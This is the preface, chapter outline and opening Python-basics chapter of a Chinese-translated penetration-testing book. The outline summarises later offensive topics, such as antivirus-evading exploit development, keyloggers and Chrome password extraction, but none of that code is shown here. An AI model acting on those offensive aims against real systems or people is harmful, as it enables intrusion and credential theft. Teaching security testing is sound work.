Python-渗透测试实用指南(全)

Python 渗透测试实用指南(全)

原文:annas-archive.org/md5/4B796839472BFAAEE214CCEDB240AE18

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

在网络安全和 Python 编程领域有这么多优秀的书籍,都是由聪明的人写成的,那么这本书有什么不同的特点呢?这是一个非常合理的问题,现在让我们来试着回答一下。

这本书试图捕捉我在过去几年中使用 Python 和渗透测试领域所积累的实践经验。它是 Python、渗透测试/攻击性安全、防御性安全和机器学习在渗透测试生态系统中独特的融合。本书以温和的方式开始,涵盖了 Python 的所有关键概念,使读者在前四章结束时能够对 Python 有相当不错的掌握,然后深入研究渗透测试和网络安全用例的自动化。读者将了解如何从头开始开发符合行业标准的漏洞扫描器,与 Nessus 和 Qualys 相同。本书还探讨了有关 Web 应用程序漏洞、它们的利用以及如何使用定制的利用程序自动化 Web 利用的概念。它还深入探讨了反向工程、模糊测试和在 Windows 和 Linux 环境中的缓冲区溢出漏洞,以 Python 作为核心。书中有一个专门讨论自定义利用程序开发的部分,重点是规避反病毒检测。本书还有一个专门讨论开发网络爬虫及其在网络安全领域中的利用的章节。本书还对防御性安全概念提供了相当深入的见解,讨论了网络威胁情报,以及如何开发自定义威胁评分算法。本书最后还介绍了 Python 的许多其他有益用例,比如开发自定义键盘记录器。

这本书适合谁

如果你是一名安全顾问、开发人员或者对 Python 知之甚少的网络安全爱好者,并且需要深入了解渗透测试生态系统和 Python 如何结合创建攻击工具、利用漏洞、自动化网络安全用例等等,那么这本书适合你。《Python 实战渗透测试》指导你深入了解 Python 在网络安全和渗透测试中的高级用法,帮助你更好地了解基础设施中的安全漏洞。

这本书涵盖了什么

第一章,Python 简介,介绍了 Python 的基础知识,主要关注 Python 使用的数据类型、变量、表达式和程序结构。其目标是让读者熟悉 Python 编程语言的基础知识,以便在接下来的章节中使用和利用它。

第二章,构建 Python 脚本,涵盖了 Python 的进一步概念,这些概念构成了编写 Python 脚本的基础,同时探讨了函数、模块、循环、包和导入等概念。

第三章,概念处理,向读者介绍了其他与 Python 相关的概念,包括类、对象、IO 和目录访问、正则表达式、异常处理以及 CSV、JSON 和 XML 文件的解析。

第四章,高级 Python 模块,将学习过程提升到一个高级水平,探索了 Python 的强大之处,理解了多进程和多线程概念,以及套接字编程。

第五章,“漏洞扫描器 Python-第 1 部分”,探讨了制作迷你漏洞扫描引擎所需的高级概念,该引擎将使用自定义端口扫描程序构建在 Nmap 上的端口扫描结果,并应用各种开源脚本和 Metasploit 模块,以及 Python、Ruby 和 NSE 脚本。结果将被汇总,最终将为分析师起草报告。这一章在复杂性和代码行数方面非常庞大,分为两部分。本部分侧重于使用 Python 自动化端口扫描。

第六章,“漏洞扫描器 Python-第 2 部分”,探讨了制作迷你漏洞扫描引擎所需的高级概念。这一章是前一章的延续,读者将学习如何协调各种 Kali Linux 工具,以便自动化服务枚举阶段的漏洞评估,从而完成定制漏洞扫描器的开发。

第七章,“机器学习和网络安全”,试图将网络安全领域与数据科学联系起来,并阐明我们如何使用机器学习和自然语言处理来自动化渗透测试的手动报告分析阶段。本章还将把之前的所有部分联系在一起,基于我们迄今所学的知识,制作一个迷你渗透测试工具包。

第八章,“自动化 Web 应用程序扫描-第 1 部分”,向读者解释了他们如何使用 Python 自动化各种 Web 应用程序攻击类型,其中一些最知名的包括 SQL 注入、XSS、CSRF 和点击劫持。

第九章,“自动化 Web 应用程序扫描-第 2 部分”,是前一章的延续。在这里,读者将了解如何使用 Python 开发自定义利用程序,利用 Web 应用程序最终为用户提供使用 Python 的 shell 访问权限。

第十章,“构建自定义爬虫”,解释了如何使用 Python 构建自定义爬虫,以便在应用程序中进行爬取,无论是否有身份验证,同时列出被测试应用程序的注入点和网页。爬虫的功能可以根据需求进行扩展和定制。

第十一章,“逆向工程 Linux 应用程序和缓冲区溢出”,解释了如何对 Linux 应用程序进行逆向工程。读者还将了解 Python 如何在帮助 Linux 环境中的缓冲区溢出漏洞方面发挥作用。该章还指导读者针对缓冲区溢出漏洞进行自定义利用程序开发。

第十二章,“逆向工程 Windows 应用程序”,解释了如何对 Windows 应用程序进行逆向工程,以及 Python 如何在帮助 Windows 环境中的缓冲区溢出漏洞方面发挥作用。该章还指导读者针对缓冲区溢出漏洞进行自定义利用程序开发。

第十三章,“利用开发”,解释了读者如何使用 Python 编写自己的利用程序,这些利用程序可以作为 Metasploit 模块进行扩展,并且还涵盖了编码 shell 以避免检测。

第十四章,网络威胁情报,指导读者如何使用 Python 进行网络威胁情报和威胁信息的收集、威胁评分,最后,如何利用获得的信息,使 SIEM、IPS 和 IDS 系统能够利用最新的威胁信息进行早期检测。

第十五章,Python 的其他奇迹,介绍了如何使用 Python 提取 Google 浏览器保存的密码,开发自定义键盘记录器,解析 Nessus 和 Nmap 报告文件等。

为了充分利用本书

为了充分利用本书,只需要有一个继续前进并详细理解每个概念的愿望。

下载示例代码文件

您可以从您在www.packt.com的帐户中下载本书的示例代码文件。如果您在其他地方购买了本书,您可以访问www.packt.com/support并注册,以便文件直接通过电子邮件发送给您。

您可以按照以下步骤下载代码文件:

  1. www.packt.com上登录或注册。

  2. 选择支持选项卡。

  3. 点击代码下载和勘误。

  4. 在搜索框中输入书名,然后按照屏幕上的说明操作。

下载文件后,请确保您使用最新版本的解压或提取文件夹:

  • Windows 的 WinRAR/7-Zip

  • Mac 的 Zipeg/iZip/UnRarX

  • Linux 的 7-Zip/PeaZip

本书的代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/Hands-On-Penetration-Testing-with-Python。如果代码有更新,将在现有的 GitHub 存储库上进行更新。

我们还提供了来自我们丰富书籍和视频目录的其他代码包,可以在github.com/PacktPublishing/上找到。请查看!

下载彩色图片

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图片。您可以在这里下载:www.packtpub.com/sites/default/files/downloads/9781788990820_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。例如:"要使用 Python 终端,只需在终端提示符中键入python3命令。"

代码块设置如下:

a=44
b=33
if a > b:
    print("a is greater")
print("End") 

当我们希望引起您对代码块的特定部分的注意时,相关行或项目将以粗体显示:

my_list=[1,"a",[1,2,3],{"k1":"v1"}]
my_list[0] -> 1
my_List[1] -> "a"
my_list[2] -> [1,2,3]
my_list[2][0] -> 1
my_list[2][2] -> 3
my_list[3] -> {"k1":"v1"}
my_list[3]["k1"] -> "v1"
my_list[3].get("k1") -> "v1 

任何命令行输入或输出都以以下方式编写:

import threading
>>> class a(threading.Thread):
... def __init__(self):
... threading.Thread.__init__(self)
... def run(self):
... print("Thread started")
... 

粗体:表示新术语、重要单词或屏幕上看到的单词。例如,菜单或对话框中的单词会在文本中出现。例如:"点击开始爬取按钮。"

警告或重要说明会出现在这样。

技巧和窍门会出现在这样。

第一章:Python 简介

本章将介绍 Python,主要关注 Python 编程语言遵循的数据类型,变量,表达式和程序结构。本章的目标是使读者熟悉 Python 的基础知识,以便他们可以在接下来的章节中使用它。本章将涵盖 Python 的安装及其依赖管理器。我们还将开始研究 Python 脚本。

在本章中,我们将涵盖以下主题:

  • Python 简介(包括安装和设置)

  • 基本数据类型

  • 序列数据类型 - 列表,字典,元组

  • 变量和关键字

  • 操作和表达式

技术要求

在继续本章之前,请确保您已准备好以下设置:

  • 一台工作的计算机或笔记本电脑

  • Ubuntu 操作系统,最好是 16.04 版本

  • Python 3.x

  • 一个可用的互联网连接

为什么选择 Python?

当我们考虑探索一种新的编程语言或技术时,我们经常会想到新技术的范围以及它可能给我们带来的好处。让我们从思考为什么我们可能想要使用 Python 以及它可能给我们带来的优势开始这一章。

为了回答这个问题,我们将考虑当前的技术趋势,而不会涉及更多的语言特定功能,比如它是面向对象的,功能性的,可移植的和解释性的。我们以前听过这些术语。让我们试着思考为什么我们可能会从严格的工业角度使用 Python,这种语言的现在和未来的景观可能是什么样的,以及这种语言如何为我们服务。我们将首先提到一些计算机科学相关人员可能选择的职业选项:

  • 程序员或软件开发人员

  • Web 开发人员

  • 数据库工程师

  • 网络安全专业人员(渗透测试员,事件响应者,SOC 分析师,恶意软件分析师,安全研究员等)

  • 数据科学家

  • 网络工程师

还有许多其他角色,但我们暂时只关注最通用的选项,看看 Python 如何适用于它们。让我们从程序员或软件开发人员的角色开始。截至 2018 年,Python 被记录为招聘广告中列出的第二受欢迎的语言(www.codingdojo.com/blog/7-most-in-demand-programming-languages-of-2018/)。程序员的角色可能因公司而异,但作为 Python 程序员,您可能会编写 Python 软件产品,开发用 Python 编写的网络安全工具(已经存在大量这样的工具可以在 GitHub 和网络安全社区的其他地方找到),原型设计一个可以模仿人类的机器人,设计智能家居自动化产品或实用工具等。Python 的范围涵盖了软件开发的各个方面,从典型的软件应用到强大的硬件产品。这是因为这种语言易于理解,具有出色的库支持,由庞大的社区支持,并且当然,它是开源的美丽之处。

让我们转向网络。近年来,Python 在成熟作为 Web 开发语言方面表现出色。最受欢迎的全栈基于 Web 的框架,如 Django、Flask 和 CherryPy,使得使用 Python 进行 Web 开发成为一种无缝和清晰的体验,学习、定制和灵活性都很强。我个人最喜欢 Django,因为它提供了非常清晰的 MVC 架构,业务逻辑和表示层完全隔离,使得开发代码更加清晰和易于管理。Django 装备齐全,支持 ORM 和使用 celery 进行后台任务处理,实现了其他任何 Web 框架能够做到的一切,同时保持了 Python 的本地代码。Flask 和 CherryPy 也是 Web 开发的绝佳选择,可以对数据流和定制性进行大量控制。

网络安全是一个离开 Python 就不完整的领域。网络安全领域的每个行业都与 Python 有一定的关联,大多数网络安全工具都是用 Python 编写的。从渗透测试到监控安全运营中心,Python 被广泛使用和需要。Python 通过为渗透测试人员提供出色的工具和自动化支持,使他们能够为各种渗透测试活动编写快速而强大的脚本,从侦察到利用都可以。我们将在本书的课程中详细学习这一点。

机器学习ML)和人工智能AI)是科技行业中我们经常遇到的热门词汇。Python 对所有 ML 和 AI 模型都有出色的支持。在大多数情况下,Python 是任何想学习 ML 和 AI 的人的首选。这个领域中另一个著名的语言是 R,但由于 Python 在其他技术和软件开发领域的出色覆盖,将用 Python 编写的机器学习解决方案与现有或新产品结合起来比用 R 编写的解决方案更容易。Python 拥有惊人的机器学习库和 API,如 sciket-learn、NumPy、Pandas、matplotlib、NLTK 和 TensorFlow。Pandas 和 NumPy 使得科学计算变得非常容易,给用户提供了在内存中处理大型数据集的灵活性,具有出色的抽象层,使开发人员可以忘记背景细节,干净高效地完成工作。

几年前,一个典型的数据库工程师可能会被期望了解关系型数据库,比如MySQLSQL ServerOraclePostgreSQL等等。然而,在过去的几年里,技术领域已经完全改变。虽然一个典型的数据库工程师仍然应该了解并熟练掌握这些数据库技术栈,但这已经不够了。随着数据量的增加,当我们进入大数据时代时,传统数据库必须与 Hadoop 或 Spark 等大数据解决方案配合工作。话虽如此,数据库工程师的角色已经演变成包括数据分析师的技能集。现在,数据不再需要从本地数据库服务器中获取和处理 - 它需要从异构来源收集,预处理,跨分布式集群或并行核心进行处理,然后再存储回分布式节点集群中。我们在这里谈论的是大数据分析和分布式计算。我们之前提到了 Hadoop 这个词。如果你对它不熟悉,Hadoop 是一个引擎,能够通过在计算机集群中生成文件块来处理大文件,然后对处理结果集进行聚合,这在业界被称为 map-reduce 操作。Apache Spark 是分析领域的一个新热词,它声称比 Hadoop 生态系统快 100 倍。Apache Spark 有一个名为pyspark的 Python API,使用它我们可以用本地 Python 代码运行 Apache Spark。它非常强大,熟悉 Python 使得设置变得简单和无缝。

提到前面的几点的目的是为了突出 Python 在当前技术领域和未来的重要性。机器学习和人工智能很可能会成为主导产业,而这两者都主要由 Python 驱动。因此,现在开始阅读和探索 Python 和机器学习的网络安全将是一个更好的时机。让我们通过了解一些基础知识来开始我们的 Python 之旅。

关于 Python - 编译还是解释

编译器通过将用高级编程语言编写的人类可读的代码转换为机器代码,然后由底层架构或机器运行。如果你不想运行代码,编译后的版本可以保存并以后执行。值得注意的是,编译器首先检查语法错误,只有在没有发现错误的情况下才会创建程序的编译版本。如果你使用过 C 语言,你可能会遇到.out文件,这些是编译后的文件的例子。

然而,在解释器的情况下,程序的每一行都是在运行时从源代码中解释并转换为机器代码进行执行。Python 属于解释的字节码类别。这意味着 Python 代码首先被翻译成中间字节码(一个.pyc文件)。然后,这个字节码由解释器逐行解释并在底层架构上执行。

安装 Python

在本书的过程中,所有的练习都将在 Linux 操作系统上展示。在我的情况下,我使用的是 Ubuntu 16.04。你可以选择任何你喜欢的变种。我们将使用python3来进行练习,可以按照以下方式安装:

sudo apt-get install python3
sudo apt-get install python3-pip

第二个命令安装了pip,它是 Python 的包管理器。所有不包括在标准安装中的开源 Python 库都可以通过pip来安装。我们将在接下来的部分中探讨如何使用 pip。

开始

在本书的过程中,我们将致力于涵盖 Python、网络安全、渗透测试和数据科学领域的先进和著名的行业标准。然而,正如他们所说,每段非凡的旅程都始于小步。让我们开始我们的旅程,先了解 Python 的基础知识。

变量和关键字

变量,顾名思义,是保存值的占位符。Python 变量只是在 Python 程序或脚本的范围内保存用户定义值的名称。如果我们将 Python 变量与其他传统语言(如 C、C++、Java 等)进行比较,我们会发现它们有些不同。在其他语言中,我们必须将数据类型与变量的名称关联起来。例如,在 C 或 Java 中声明整数,我们必须声明为int a=2,编译器将立即在 C 中保留两个字节的内存,在 Java 中保留四个字节。然后将内存位置命名为a,程序将引用其中存储的值2。然而,Python 是一种动态类型语言,这意味着我们不需要将数据类型与我们在程序中声明或使用的变量关联起来。

整数的典型 Python 声明可能如a=20。这只是创建一个名为a的变量,并将值20放入其中。即使我们在下一行将值更改为a="hello world",它也会将字符串hello world与变量a关联起来。让我们在 Python 终端上看看它的运行情况:

使用 Python 终端,只需在终端提示符中键入python3命令。让我们思考一下这是如何工作的。看一下下面的图表,比较静态类型语言和动态类型语言:

正如您在前面的图表中看到的,在 Python 的情况下,变量实际上保存对实际对象的引用。每次更改值时,都会在内存中创建一个新对象,并且变量指向这个新对象。以前的对象由垃圾收集器声明。

在讨论 Python 是一种动态类型语言之后,我们不应该将其与弱类型语言混淆。尽管 Python 是动态类型的,但它也是一种强类型语言,就像 Java、C 或 C++一样。

在下面的示例中,我们声明一个字符串类型的变量a和一个整数类型的变量b

当我们执行操作c=a+b时,在弱类型语言中可能发生的是将b的整数值转换为字符串,并将存储在变量c中的结果为hello world22。然而,由于 Python 是强类型的,该函数遵循与变量关联的类型。我们需要显式进行转换才能执行这种操作。

让我们看看下面的示例,以了解强类型语言的含义;我们在运行时明确更改变量b的类型并将其转换为字符串类型:

变量命名约定

在了解了如何声明和使用变量的基础知识之后,让我们尝试了解它们遵循的命名约定。变量,也称为标识符,可以以 A-Z、a-z 或下划线之间的任何字母开头命名。然后可以跟随任意数量的数字或字母数字字符。

必须注意的是,某些特殊字符,如%,@,#,-和!在 Python 中是保留的,不能与变量一起使用。

Python 关键字

关键字,顾名思义,是某种语言实现中具有预定义含义的特定保留字。在其他语言中,我们通常不能使用与关键字相同的名称来命名我们的变量,但 Python 是一个略有不同的情况。尽管我们不应该使用与关键字保留相同的名称来命名变量或标识符,即使我们这样做,程序也不会抛出任何错误,我们仍然会得到一个输出。让我们尝试通过传统的 C 程序和等效的 Python 脚本来理解这一点:

应该注意的是,这是一个简单的 C 程序,我们在其中声明了一个整数,并使用int标识符来标识它,随后我们简单地打印hello world

然而,当我们尝试编译程序时,它会抛出编译错误,如下面的屏幕截图所示:

让我们尝试在 Python shell 中做同样的事情,看看会发生什么:

可以看到,当我们用名称intstr声明变量时,程序没有抛出任何错误。尽管intstr都是 Python 关键字,在前面的情况下,我们看到用名称int声明的变量保存了一个字符串值,而用str类型声明的变量保存了一个int值。我们还看到了一个普通变量a,它是从int类型转换为string类型。由此可以确定,我们可以在 Python 中使用保留字作为变量。这样做的缺点是,如果我们要使用关键字作为变量或标识符,我们将覆盖这些保留字所具有的实际功能。当我们在程序范围内覆盖它们的实际行为时,它们将遵循更新或覆盖的功能,这是非常危险的,因为这将使我们的代码违反 Python 的约定。这应该始终被避免。

让我们扩展前面的例子。我们知道str()是一个内置的 Python 函数,其目的是将数值数据类型转换为字符串类型,就像我们对变量a所看到的那样。然而,后来我们重写了它的功能,并且在我们的程序范围内,我们将其分配给了一个整数类型。现在,在程序范围内的任何时间点,如果我们尝试使用str函数将数值类型转换为string,解释器将抛出一个错误,说int类型变量不能用作方法,或者它们不可调用,如下面的屏幕截图所示:

对于int方法也是如此,我们将不再能够使用它将字符串转换为其等效的整数。

现在,让我们看看 Python 中还有哪些类型的关键字,我们应该尽量避免将它们用作我们的变量名。有一种很酷的方法可以通过 Python 代码本身来做到这一点,这让我们可以在终端窗口中打印 Python 关键字:

import语句用于在 Python 中导入库,就像我们在 Java 中导入包时一样。我们将在以后的章节中详细介绍使用导入和循环。现在,我们将看看不同的 Python 关键字的含义:

  • false: 布尔false运算符。

  • none: 这相当于其他语言中的Null

  • true: 布尔true运算符。

  • and: 逻辑and,可以与条件和循环一起使用。

  • as: 这用于为我们导入的模块分配别名。

  • assert: 这用于调试代码的目的。

  • break: 这会退出循环。

  • class: 这用于声明一个类。

  • continue: 这是传统的continue语句,用于循环,可以用于继续执行循环。

  • def:用于定义函数。每个 Python 函数都需要在def关键字之前。

  • del:用于删除对象

  • elif:条件else...if语句。

  • else:条件else语句。

  • except:用于捕获异常。

  • finally:与异常处理一起使用,作为我们清理资源的最终代码块的一部分。

  • for:传统的 for 循环声明关键字。

  • global:用于声明和使用全局变量。

  • if:条件if语句。

  • import:用于导入 Python 库、包和模块。

  • in:用于在 Python 字符串、列表和其他对象之间进行搜索。

  • is:用于测试对象的标识。

  • lambda:与 Lambda 函数一起使用。

  • nonlocal:用于声明嵌套函数中不是其本地变量的变量。

  • not:条件运算符。

  • or:另一个条件运算符。

  • pass:在 Python 中用作占位符。

  • raise:用于在 Python 中引发异常。

  • return:用于从函数返回。

  • try:与异常处理一起使用的传统try关键字。

  • while:与while循环一起使用。

  • with:用于文件打开等。

  • yield:与生成器一起使用。

  • from:与相对导入一起使用。

在本书中,我们将学习此列表中提到的所有关键字。

Python 数据类型

像任何其他编程语言一样,Python 也有标准数据类型。在本节中,我们将探讨 Python 提供给我们使用的各种强大的数据类型。

数字

数字,顾名思义,涵盖了所有数字数据类型,包括整数和浮点数据类型。在本章的前面,我们看到要使用整数或浮点数,我们可以简单地声明变量并赋予整数或浮点值。现在,让我们编写一个适当的 Python 脚本,并探索如何使用数字。将脚本命名为numbers.py,如下所示:

前面的屏幕截图显示了一个简单的 Python 脚本,该脚本将整数与浮点数相加,然后打印总和。要运行脚本,我们可以输入python3 numbers.py命令,如下所示:

您可能已经注意到脚本开头的命令是#! /usr/bin/python。这行的作用是使您的代码可执行。在脚本的权限已更改并且已被设置为可执行之后,命令表示如果尝试执行此脚本,则我们应该继续使用/usr/bin/python3路径中放置的python3来执行它。可以在以下示例中看到这一点:

如果我们观察print命令,我们可以看到字符串格式化程序是%s。要用实际值填充它,需要将第二个参数传递给print函数:

要将字符串转换为其等效的整数或浮点值,我们可以使用内置的int()float()函数。

字符串类型

我们知道字符串是字符的集合。在 Python 中,字符串类型属于序列类别。字符串非常强大,有许多方法可用于执行字符串操作。让我们看一下下面的代码片段,它向我们介绍了 Python 中的字符串。在 Python 中,字符串可以在单引号和双引号中声明:

在上面的代码中,我们只是声明了一个名为my_str的字符串,并将其打印在控制台窗口上。

字符串索引

必须注意的是,在 Python 中可以将字符串视为字符序列。字符串可以被视为字符列表。让我们尝试打印字符串的各个索引处的字符,如下面的屏幕截图所示:

在索引 0 处,字符 0 被打印。在索引 10 处,我们有一个空格,而在索引 5 处,我们有字母 m。需要注意的是,序列在 Python 中以起始索引 0 存储,字符串类型也是如此。

通过方法和内置函数进行字符串操作

在本节中,我们将看看如何比较两个字符串,连接字符串,将一个字符串复制到另一个字符串,并使用一些方法执行各种字符串操作。

replace( ) 方法

replace 方法用于执行字符串替换。它返回一个带有适当替换的新字符串。replace 方法的第一个参数是要在字符串中替换的字符串或字符,而第二个参数是要替换的字符串或字符:

在前面的例子中,我们可以看到原始字符串中的 !@ 替换,并返回一个带有替换的新字符串。需要注意的是,这些更改实际上并没有应用到原始字符串上,而是返回了一个带有适当更改的新字符串。这可以在下一行中验证,我们打印原始字符串,旧的未更改值 Welcome to python strings ! 被打印出来。这背后的原因是 Python 中的字符串是不可变的,就像在 Java 中一样。这意味着一旦声明了一个字符串,通常就不能修改。然而,并非总是如此。让我们尝试更改字符串,并这次尝试捕获最初声明的字符串 my_str 中的修改,如下所示:

在前面的代码中,我们能够修改原始字符串,因为我们从我们之前声明的字符串 my_str 中的 replace 方法中得到了新返回的字符串。这可能与我们之前说的相矛盾。让我们看看在调用 replace 方法之前和之后发生了什么:

! 替换为 @ 后,结果如下:

在前面的两个示例中可以看到,在调用 replace 方法之前,my_str 字符串引用指向包含 ! 的实际对象。一旦 replace() 方法返回一个新字符串,并且我们用新返回的对象更新了现有的字符串变量,旧的内存对象并没有被覆盖,而是创建了一个新的对象。程序引用现在指向新创建的对象。早期的对象在内存中,并没有任何引用指向它。这将在以后的阶段由垃圾收集器清理。

另一件我们可以做的事情是尝试改变原始字符串中任何位置的任何字符。我们已经看到字符串字符可以通过它们的索引访问,但是如果我们尝试在任何特定索引处更新或更改字符,就会抛出异常,并且不允许进行操作,如下面的屏幕截图所示:

默认情况下,replace() 方法会替换目标字符串中替换字符串的所有出现。然而,如果我们只想替换目标字符串中的一个或两个出现,我们可以向 replace() 方法传递第三个参数,并指定我们想要进行的替换次数。假设我们有以下字符串:

如果我们只想要!字符的第一个出现变成@,并且我们希望其余部分保持不变,可以按照以下方式实现:

子字符串或字符串切片

获取字符串的一部分是我们在日常字符串操作中经常遇到的常见练习。诸如 C 或 Java 之类的语言为我们提供了专用方法,如substr(st_index,end_index)subString(st_index,end_index)。在 Python 中执行子字符串操作时,没有专用方法,但我们可以使用切片。例如,如果我们希望获得原始my_str字符串的前四个字符,我们可以通过使用my_str[0:4]等操作来实现,如下面的屏幕截图所示:

同样,切片操作返回一个新的字符串,而不会对原始字符串进行更改。此外,值得在这里理解的是,切片发生在 n-1 个字符上,其中n是作为第二个参数指定的上限,即在我们的例子中是四。因此,实际的子字符串操作将从索引0开始,到索引3结束,从而返回字符串Welc

让我们看一些切片的更多例子:

  • 要从索引4获取整个字符串,按照以下方式操作:

  • 要从开头获取到索引4的字符串,请执行以下操作:

  • 要使用切片打印整个字符串,请执行以下操作:

  • 要打印步长为2的字符,按照以下方式操作:

  • 要打印字符串的反向,请执行以下操作:

  • 打印字符串的一部分以相反的顺序,如下所示:

字符串连接和复制

+是 Python 中用于连接两个字符串的连接运算符。与往常一样,连接的结果是一个新的字符串,除非我们获得更新后的字符串,否则更新将不会反映在原始字符串对象上。+运算符在用于字符串类型时内部被重载以执行对象的连接。当它用于数值数据类型时,也用于两个数字的加法,如下所示:

有趣的是,Python 还支持另一个操作符,当与字符串数据类型一起使用时会被重载。它不是执行常规操作,而是执行原始操作的变体,以便可以在字符串数据类型之间复制功能。在这里,我们谈论的是乘法操作符*。它通常用于执行数值数据类型的乘法,但当它用于字符串数据类型时,它执行的是复制操作。这在以下代码片段中显示:

在前面的情况下,乘法运算符实际上将存储在变量c中的Hello world字符串复制了五次,正如我们在表达式中指定的那样。这是一个非常方便的操作,可以用来生成模糊负载,我们将在本书的后面章节中看到。

strip(),lstrip()和 rstrip()方法

strip方法实际上是用于从输入字符串中去除空格。默认情况下,strip方法将从字符串的左右两侧去除空格,并返回一个新的字符串,其中前导和尾随两侧都没有空格,如下面的屏幕截图所示:

然而,如果我们只想去掉左边的空格,我们可以使用lstrip()方法。同样,如果我们只想去掉右边的空格,我们可以使用rstrip()方法。如下所示:

split()方法

split方法,顾名思义,用于在特定分隔符上拆分输入字符串,并返回包含已拆分单词的列表。我们将很快更详细地了解列表。现在,让我们看一下以下示例,其中我们有员工的姓名、年龄和工资,用逗号分隔在一个字符串中。如果我们希望分别获取这些信息,我们可以在,上执行拆分。split函数将第一个参数作为要执行split操作的分隔符:

默认情况下,split操作是在空格上执行的,即,如果未指定分隔符。可以如下所示:

find()、index()、upper()、lower()、len()和 count()方法

find()函数用于在目标字符串中搜索字符或字符串。如果找到匹配,此函数返回字符串的第一个索引。如果找不到匹配,则返回-1

index()方法与find()方法相同。如果找到匹配,它返回字符串的第一个索引,并在找不到匹配时引发异常:

upper()方法用于将输入字符串转换为大写字母,lower()方法用于将给定字符串转换为小写字母:

len()方法返回给定字符串的长度:

count()方法返回我们希望在目标字符串中计算的任何字符或字符串的出现次数:

innot in方法

innot in方法非常方便,因为它们让我们可以快速在序列上进行搜索。如果我们希望检查目标字符串中是否存在或不存在某个字符或单词,我们可以使用innot in方法。这将返回True(如果单词存在)和False(如果不存在):

endswith()、isdigit()、isalpha()、islower()、isupper()和 capitalize()方法

endswith()方法检查给定字符串是否以我们传递的特定字符或单词结尾:

isdigit()方法检查给定的字符串是否为数字类型:

isalpha()方法检查给定的字符串是否为字母字符类型:

islower()方法检查字符串是否为小写,而isupper()方法检查字符串是否为大写。capitalize()方法将给定字符串转换为句子大小写:

列表类型

Python 没有数组类型,而是提供了列表数据类型。Python 列表也属于序列类,并提供了广泛的功能。如果你来自 Java、C 或 C++背景,你可能会发现 Python 列表与这些语言提供的数组和列表类型略有不同。在 C、C++或 Java 中,数组是相似数据类型的元素集合,Java 数组列表也是如此。但在 Python 中情况不同。在 Python 中,列表是可以是同质和异质数据类型的元素集合。这是使 Python 列表强大、健壮且易于使用的特点之一。在声明时,我们也不需要指定 Python 列表的大小。它可以动态增长以匹配它包含的元素数量。让我们看一个使用列表的基本示例:

Python 中的列表从索引0开始,可以根据索引访问任何项,如前面的屏幕截图所示。前面的列表是同质的,因为所有元素都是字符串类型。我们也可以有一个异质列表,如下所示:

目前,我们正在手动打印列表元素。我们可以很容易地用循环迭代它们,稍后我们将探讨这一点。现在,让我们试着理解 Python 中可以对列表结构执行哪些操作。

切片列表

切片是一种允许我们从序列和列表中提取元素的操作。我们可以对列表进行切片,以提取我们感兴趣的部分。需要再次注意的是,切片的索引是基于 0 的,并且最后一个索引始终被视为n-1,其中 n 是指定的最后一个索引值。要从列表中切片出前五个和后五个元素,我们可以执行以下操作:

让我们看一些列表切片的示例及其结果:

  • 要获取从索引4开始的列表,请执行以下操作:

  • 要获取从开头到索引4的列表元素,请执行以下操作:

  • 要使用切片打印整个列表,请执行以下操作:

  • 要打印步长为2的列表元素,请执行以下操作:

  • 要打印列表的反向,请执行以下操作:

  • 要以相反的顺序打印列表的一部分,请执行以下操作:

  • list-append()添加新元素:append()方法用于向列表添加元素,要添加的元素作为参数传递给append()方法。要添加的这些元素可以是任何类型。除了数字或字符串之外,元素本身可以是一个列表:

我们可以看到在前面的例子中,我们使用append()方法向原始列表添加了三个元素678。然后,我们实际上添加了另一个包含三个字符的列表,这个列表会完整地存储在原始列表中。可以通过指定my_list[8]索引来访问它们。在前面的例子中,新列表完整地添加到原始列表中,但没有合并。

合并和更新列表

在 Python 中,可以通过两种方式进行列表合并。首先,我们可以使用传统的+运算符,之前我们用来连接两个字符串。当用于列表对象类型时,它也是一样的。另一种方法是使用extend方法,它将新列表作为要与现有列表合并的参数。这在以下示例中显示:

要更新列表中的元素,我们可以访问其索引,并为我们希望更新的任何元素添加更新后的值。例如,如果我们希望将字符串Hello作为列表的第 0 个元素,可以通过将第 0 个元素分配给Hello值来实现merged[0]="hello"

复制列表

我们已经看到 Python 变量只是对实际对象的引用。对于列表也是如此。因此,操作列表会有点棘手。默认情况下,如果我们通过简单地使用=运算符将一个列表变量复制到另一个列表变量,它实际上不会创建列表的副本或本地副本 - 相反,它只会创建另一个引用,并将新创建的引用指向相同的内存位置。因此,当我们对复制的变量进行更改时,原始列表中也会反映相同的更改。在下面的示例中,我们将创建新的隔离副本,其中对复制的变量的更改不会反映在原始列表中:

现在,让我们看看如何创建现有列表的新副本,以便对新列表的更改不会对现有列表造成任何更改:

创建原始列表的隔离副本的另一种方法是利用 Python 中提供的copydeepcopy函数。浅复制构造一个新对象,然后将该对象的引用插入到原始列表中找到的对象中。另一方面,深复制构造一个新的复合对象,然后递归地插入到原始列表中找到的对象的副本

从列表中删除元素

我们可以使用del命令删除列表中的元素或整个列表。del命令不返回任何内容。我们也可以使用pop方法从列表中删除元素。pop方法将要删除的元素的索引作为参数:

整个列表结构可以被删除如下:

使用 len()、max()和 min()进行复制

乘法运算符*,当应用于列表时,会导致列表元素的复制效果。列表的内容将根据传递给复制运算符的数字重复多次:

len()方法给出了 Python 列表的长度。max()方法返回列表的最大元素,而min()方法返回列表的最小元素:

我们也可以在字符类型上使用maxmin方法,但是不能在包含混合或异构类型的列表上使用它们。如果这样做,将会得到一个异常,说明我们正在尝试比较数字和字符:

in 和 not in

innot in方法是 Python 中的基本操作,可以用于任何序列类型。我们之前看到了它们如何与字符串一起使用,我们用它们来搜索目标字符串中的字符串或字符。in方法返回true,如果搜索成功则返回falsenot in方法则相反。执行如下所示:

Python 中的元组

Python 元组与 Python 列表非常相似。不同之处在于它是一个只读结构,因此一旦声明,就不能对元组的元素进行修改。Python 元组可以用如下方式使用:

在前面的代码中,我们可以看到我们可以像访问列表一样访问元组,但是当我们尝试更改元组的任何元素时,它会抛出一个异常,因为元组是只读结构。如果我们执行我们在列表上执行的操作,我们会发现它们与元组的工作方式完全相同:

如果元组中只有一个元素,则必须使用尾随逗号声明。如果在声明时不添加逗号,则将根据元组的元素将其解释为数字或字符串数据类型。以下示例更好地解释了这一点:

元组可以转换为列表,然后可以进行如下操作:

Python 中的字典

